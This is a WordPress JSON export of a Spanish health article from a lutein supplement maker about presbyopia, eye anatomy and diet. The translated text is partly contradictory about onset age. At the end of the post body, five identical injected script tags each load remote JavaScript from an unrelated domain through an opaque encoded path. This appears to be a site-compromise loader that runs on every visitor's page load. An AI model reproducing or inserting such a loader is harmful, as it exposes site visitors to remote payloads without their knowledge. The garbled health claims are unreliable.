{"id":7648,"date":"2024-07-31T09:18:58","date_gmt":"2024-07-31T01:18:58","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7648"},"modified":"2025-02-06T10:20:08","modified_gmt":"2025-02-06T02:20:08","slug":"dont-ignore-these-signals-from-your-eyes","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/no-ignore-estas-senales-de-sus-ojos\/","title":{"rendered":"No ignores estas se\u00f1ales de tus ojos"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-61c444e\" data-block-id=\"61c444e\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-2534\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/lutein-home.webp\" width=\"456\" height=\"457\" alt=\"lute\u00edna inicio\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/lutein-home.webp 456w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/lutein-home-300x300.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/lutein-home-150x150.webp 150w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/lutein-home-100x100.webp 100w\" sizes=\"(max-width: 456px) 100vw, 456px\" \/><\/figure><\/div>\n\n\n\n<p>Mucha gente tiene ideas equivocadas sobre la presbicia. Creo que la presbicia ocurre cuando eres mayor.<\/p>\n\n\n\n<p>De hecho, la presbicia puede aparecer y hacerse patente desde principios hasta mediados de los 40, y puede notarse [1,2]. Pero en este punto, todav\u00eda estamos en la edad adulta temprana (25-49 a\u00f1os). En los pa\u00edses de ingresos bajos y medios, la presbicia puede aparecer a partir de los 30 a\u00f1os [3].<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfPor qu\u00e9 no puedes verlo de cerca?<\/h2>\n\n\n\n<p>\u00bfHa tenido alguna vez esta experiencia? Al leer un libro o mirar fijamente un objeto a distancia, como la pantalla de un tel\u00e9fono, durante un rato m\u00e1s, los ojos empiezan a rebelarse: secos, cansados e incluso borrosos. Es como si, de repente, tus ojos ya no estuvieran sujetos a tu control.<\/p>\n\n\n\n<p>En casos graves, intente leer fuentes diminutas y comprobar\u00e1 que sus ojos casi pierden su capacidad de enfoque. Puede que incluso aleje involuntariamente el material de lectura o mire hacia arriba para reducir la presi\u00f3n reguladora sobre los ojos.<\/p>\n\n\n\n<p>Si es as\u00ed, probablemente tenga presbicia.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfQu\u00e9 ha fallado?<\/h2>\n\n\n\n<p>Nuestros ojos est\u00e1n relajados cuando miran de lejos, y necesitan ajustarse cuando miran de cerca.<\/p>\n\n\n\n<p>Piensa en tus ojos como si fueran c\u00e1maras. El objetivo de la c\u00e1mara puede enfocar autom\u00e1ticamente objetos cercanos y lejanos. Esto lo conseguimos gracias a la c\u00f3rnea (la \"ventana\" exterior transparente del ojo), el cristalino, el cuerpo v\u00edtreo y la retina.<\/p>\n\n\n\n<p>Al mirar un objeto cercano, la luz entra en el ojo. En primer lugar, la c\u00f3rnea curva la luz y, a continuaci\u00f3n, los m\u00fasculos y ligamentos que rodean el cristalino se contraen para cambiar su forma de modo que la luz se enfoque en la retina. A continuaci\u00f3n, la retina convierte la luz en se\u00f1ales el\u00e9ctricas que se env\u00edan al cerebro. De este modo, vemos los objetos que est\u00e1n cerca.<\/p>\n\n\n\n<p>Sin embargo, en realidad el cristalino est\u00e1 creciendo todo el tiempo, y las fibras del cristalino reci\u00e9n generadas se envuelven en capas como una cebolla y se comprimen hacia el centro, lo que provoca, por un lado, que el cristalino se vuelva duro y el\u00e1stico y, por otro, que el cristalino se vuelva grueso (grosor axial), lo que en conjunto conduce a la disminuci\u00f3n de la capacidad de ajuste del cristalino [3].<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">La presbicia no es una enfermedad<\/h2>\n\n\n\n<p>Cuando los ojos j\u00f3venes miran objetos cercanos, pueden ajustar o aumentar f\u00e1cilmente la curvatura del cristalino contrayendo el m\u00fasculo ciliar para enfocar la imagen de lo que van a ver.<\/p>\n\n\n\n<p>Este cambio en el sistema de ajuste del ojo humano con el aumento de los \"a\u00f1os de trabajo\" acaba provocando una disminuci\u00f3n fisiol\u00f3gica de la capacidad de ajuste de nuestros ojos para ver objetos cercanos.<\/p>\n\n\n\n<p>Por lo tanto, la principal manifestaci\u00f3n de la presbicia es que es f\u00e1cil ver de cerca la fatiga y ver de cerca poco claro. Pero la presbicia no es un defecto de refracci\u00f3n como la miop\u00eda [4].<\/p>\n\n\n\n<p>Por lo general, este fen\u00f3meno comienza a finales de los 40 o principios de la edad adulta (25-49 a\u00f1os).<\/p>\n\n\n\n<p>No confundir con otras afecciones<\/p>\n\n\n\n<p>Es importante destacar que la presbicia es completamente diferente de otras enfermedades oculares que se producen con la edad, como las cataratas asociadas a la edad, el glaucoma y la degeneraci\u00f3n macular.<\/p>\n\n\n\n<p>Por lo tanto, si hay visi\u00f3n borrosa de cerca u otros s\u00edntomas como visi\u00f3n borrosa, luces intermitentes, lo mejor es buscar atenci\u00f3n m\u00e9dica a tiempo, y pedir al m\u00e9dico que aclare la situaci\u00f3n mediante un examen oftalmol\u00f3gico completo.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfHay alguna forma de retrasarlo?<\/h2>\n\n\n\n<p>El aplazamiento es una propuesta falsa. La p\u00e9rdida de adaptaci\u00f3n es un fen\u00f3meno natural, pero unos h\u00e1bitos oculares adecuados pueden ayudar a que nuestros ojos duren m\u00e1s. Por ejemplo, usar gafas de sol para proteger los ojos de los rayos UV y cuidar la dieta.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfC\u00f3mo funciona?<\/h2>\n\n\n\n<p>Podemos garantizar la estabilidad del estado metab\u00f3lico y fisiol\u00f3gico normal del ojo ajustando la ingesta diaria de nutrientes.<\/p>\n\n\n\n<p>La vitamina A mantiene la visi\u00f3n oscura normal del ojo participando en la s\u00edntesis de la rodopsina. El h\u00edgado, las yemas de huevo, la leche entera, las zanahorias, los boniatos, los mangos, los brotes de guisantes, etc. pueden aportar vitamina A al organismo humano.<\/p>\n\n\n\n<p>Garantizar un suministro adecuado de vitaminas del grupo B es muy \u00fatil para aliviar la fatiga ocular, porque el uso intensivo de los ojos tiende a aumentar el consumo de vitaminas del grupo B. Las vitaminas del grupo B se encuentran habitualmente en las v\u00edsceras de los animales, las legumbres, la leche y los huevos, el ganado, las aves, el pescado y la carne, los cereales secundarios y otros alimentos.<\/p>\n\n\n\n<p>Los \u00e1cidos grasos poliinsaturados como el DHA y minerales como el calcio, el zinc y el cromo tambi\u00e9n son importantes para mantener la salud ocular. Los pescados grasos, camarones y mariscos pueden proporcionar DHA, alimentos suplementos de calcio son principalmente productos l\u00e1cteos, productos de soja, verduras de hoja verde y frutos secos, cereales integrales, carne, mariscos y otros alimentos contienen relativamente rico zinc, cromo.<\/p>\n\n\n\n<p>La lute\u00edna y la zeaxantina ayudan a prevenir la degeneraci\u00f3n macular. Las yemas de huevo, las verduras de hoja verde, las verduras de color amarillo-rojo y las frutas son buenas fuentes de lute\u00edna y zeaxantina.<\/p>\n\n\n\n<p>Las antocianinas pueden promover la s\u00edntesis de rodopsina y antioxidante. Puedes comer m\u00e1s patatas moradas, col morada, ar\u00e1ndanos, moras y otros alimentos morados y negros.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Equilibrio vida\/trabajo<\/h2>\n\n\n\n<p>Especialmente para las personas que utilizan ordenadores o pantallas electr\u00f3nicas durante mucho tiempo, un ajuste razonable del ritmo de trabajo, como descansar adecuadamente y cerrar los ojos, puede ayudar a aliviar la fatiga ocular.<\/p>\n\n\n\n<p>[1] Cl\u00ednica Cleveland-Presbicia[EB\/OL]. (2023-07-06)[2023-10-16].&nbsp;<\/p>\n\n\n\n<p>[2] Cl\u00ednica Mayo-Presbicia[EB\/OL]. (2021-11-20)[2023-10-16].&nbsp;&nbsp;<\/p>\n\n\n\n<p>[3] Patel I, West SK. Presbicia: prevalencia, impacto e intervenciones. Community Eye Health. 2007 Sep; 20(63):40-1. PMID: 17971909; PMCID: PMC2040246.<\/p>\n\n\n\n<p>[4] UpToDate- Presbicia<\/p>\n\n\n\n<p>Lute\u00edna y zeaxantina Fabricante \/ Lute\u00edna y zeaxantina Fabricantes\/ Lute\u00edna y zeaxantina Surtidor \/ Lute\u00edna y zeaxantina Proveedores\/ Lute\u00edna y zeaxantina F\u00e1brica \uff1awww.backvita.com<\/p>\n\n\n\n<p>Correo electr\u00f3nico: info@backvita.com<\/p>\n\n\n\n<p>Tel\u00e9fono: +86 (029) 8187 2325<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>Many people have some misconceptions about presbyopia. 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